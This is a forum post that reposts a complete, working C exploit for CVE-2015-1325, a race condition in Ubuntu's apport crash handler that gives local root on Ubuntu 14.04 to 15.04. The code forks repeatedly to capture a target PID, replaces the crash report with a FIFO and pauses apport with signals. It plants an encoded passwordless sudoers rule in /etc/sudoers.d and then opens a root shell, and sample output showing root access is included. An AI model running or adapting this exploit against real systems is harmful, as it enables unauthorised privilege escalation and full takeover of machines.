Jump to content
a.linm

apport/ubuntu local root race condition

Recommended Posts

/*

# Exploit Title: apport/ubuntu local root race condition

# Date: 2015-05-11

# Exploit Author: rebel

# Version: ubuntu 14.04, 14.10, 15.04

# Tested on: ubuntu 14.04, 14.10, 15.04

# CVE : CVE-2015-1325

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*

CVE-2015-1325 / apport-pid-race.c

apport race conditions

ubuntu local root

tested on ubuntu server 14.04, 14.10, 15.04

core dropping bug also works on older versions, but you can't

write arbitrary contents. on 12.04 /etc/logrotate.d might work,

didn't check. sudo and cron will complain if you drop a real ELF

core file in sudoers.d/cron.d

unpriv@ubuntu-1504:~$ gcc apport-race.c -o apport-race && ./apport-race

created /var/crash/_bin_sleep.1002.crash

crasher: my pid is 1308

apport stopped, pid = 1309

getting pid 1308

current pid = 1307..2500..5000..7500..10000........

** child: current pid = 1308

** child: executing /bin/su

Password: sleeping 2s..

checker: mode 4532

waiting for file to be unlinked..writing to fifo

fifo written.. wait...

waiting for /etc/sudoers.d/core to appear..

checker: new mode 32768 .. done

checker: SIGCONT

checker: writing core

checker: done

success

# id

uid=0(root) gid=0(root) groups=0(root)

85ad63cf7248d7da46e55fa1b1c6fe01dea43749

2015-05-10

%rebel%

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*

*/

#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>

#include <signal.h>

#include <sys/mman.h>

#include <sys/syscall.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <sys/resource.h>

#include <unistd.h>

#include <string.h>

#include <sys/wait.h>

char *crash_report = "ProblemType: Crash\nArchitecture: amd64\nCrashCounter: 0\nDate: Sat May 9 18:18:33 2015\nDistroRelease: Ubuntu 15.04\nExecutablePath: /bin/sleep\nExecutableTimestamp: 1415000653\nProcCmdline: sleep 1337\nProcCwd: /home/rebel\nProcEnviron:\n XDG_RUNTIME_DIR=<set>\nProcMaps:\n 00400000-00407000 r-xp 00000000 08:01 393307 /bin/sleep\nProcStatus:\n Name: sleep\nSignal: 11\nUname: Linux 3.19.0-15-generic x86_64\nUserGroups:\n_LogindSession: 23\nCoreDump: base64\n H4sICAAAAAAC/0NvcmVEdW1wAA==\n U1ZgZGJm4eLicvTxUQBiWw0goang5x/gGBwc7mIFEuMCAA==\n";

/*

last line is the stuff we write to the corefile

c = zlib.compressobj(9,zlib.DEFLATED,-zlib.MAX_WBITS)

t = '# \x01\x02\x03\x04\n\n\nALL ALL=(ALL) NOPASSWD: ALL\n'

# need some non-ASCII bytes so it doesn't turn into a str()

# which makes apport fail with the following error:

# os.write(core_file, r['CoreDump'])

# TypeError: 'str' does not support the buffer interface

t = bytes(t,'latin1')

c.compress(t)

a = c.flush()

import base64

base64.b64encode(a)

# b'U1ZgZGJm4eLicvTxUQBiWw0goang5x/gGBwc7mIFEuMCAA=='

*/

int apport_pid;

char report[128];

void steal_pid(int wanted_pid)

{

int x, pid;

pid = getpid();

fprintf(stderr,"getting pid %d\n", wanted_pid);

fprintf(stderr,"current pid = %d..", pid);

for(x = 0; x < 500000; x++) {

pid = fork();

if(pid == 0) {

pid = getpid();

if(pid % 2500 == 0)

fprintf(stderr,"%d..", pid);

if(pid == wanted_pid) {

fprintf(stderr,"\n** child: current pid = %d\n", pid);

fprintf(stderr,"** child: executing /bin/su\n");

execl("/bin/su", "su", NULL);

}

exit(0);

return;

}

if(pid == wanted_pid)

return;

wait(NULL);

}

}

void checker(void)

{

struct stat s;

int fd, mode, x;

stat(report, &s);

fprintf(stderr,"\nchecker: mode %d\nwaiting for file to be unlinked..", s.st_mode);

mode = s.st_mode;

while(1) {

// poor man's pseudo-singlestepping

kill(apport_pid, SIGCONT);

kill(apport_pid, SIGSTOP);

// need to wait a bit for the signals to be handled,

// otherwise we'll miss when the new report file is created

for(x = 0; x < 100000; x++);

stat(report, &s);

if(s.st_mode != mode)

break;

}

fprintf(stderr,"\nchecker: new mode %d .. done\n", s.st_mode);

unlink(report);

mknod(report, S_IFIFO | 0666, 0);

fprintf(stderr,"checker: SIGCONT\n");

kill(apport_pid, SIGCONT);

fprintf(stderr,"checker: writing core\n");

fd = open(report, O_WRONLY);

write(fd, crash_report, strlen(crash_report));

close(fd);

fprintf(stderr,"checker: done\n");

while(1)

sleep(1);

}

void crasher()

{

chdir("/etc/sudoers.d");

fprintf(stderr,"crasher: my pid is %d\n", getpid());

execl("/bin/sleep", "sleep", "1337", NULL);

exit(0);

}

int main(void)

{

int pid, checker_pid, fd;

struct rlimit limits;

struct stat s;

limits.rlim_cur = RLIM_INFINITY;

limits.rlim_max = RLIM_INFINITY;

setrlimit(RLIMIT_CORE, &limits);

pid = fork();

if(pid == 0)

crasher();

sprintf(report, "/var/crash/_bin_sleep.%d.crash", getuid());

unlink(report);

mknod(report, S_IFIFO | 0666, 0);

fprintf(stderr,"created %s\n", report);

usleep(300000);

kill(pid, 11);

apport_pid = pid + 1;

// could check that pid+1 is actually apport here but it's

// kind of likely

fprintf(stderr,"apport stopped, pid = %d\n", apport_pid);

usleep(300000);

kill(pid, 9);

steal_pid(pid);

sleep(1);

kill(apport_pid, SIGSTOP);

checker_pid = fork();

if(checker_pid == 0) {

checker();

exit(0);

}

fprintf(stderr,"sleeping 2s..\n");

sleep(2);

fprintf(stderr,"writing to fifo\n");

fd = open(report, O_WRONLY);

write(fd, crash_report, strlen(crash_report));

close(fd);

fprintf(stderr,"fifo written.. wait...\n");

fprintf(stderr,"waiting for /etc/sudoers.d/core to appear..\n");

while(1) {

stat("/etc/sudoers.d/core", &s);

if(s.st_size == 37)

break;

usleep(100000);

}

fprintf(stderr,"success\n");

kill(pid, 9);

kill(checker_pid, 9);

return system("sudo -- sh -c 'stty echo;sh -i'");

}

https://www.exploit-db.com/exploits/37088/

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...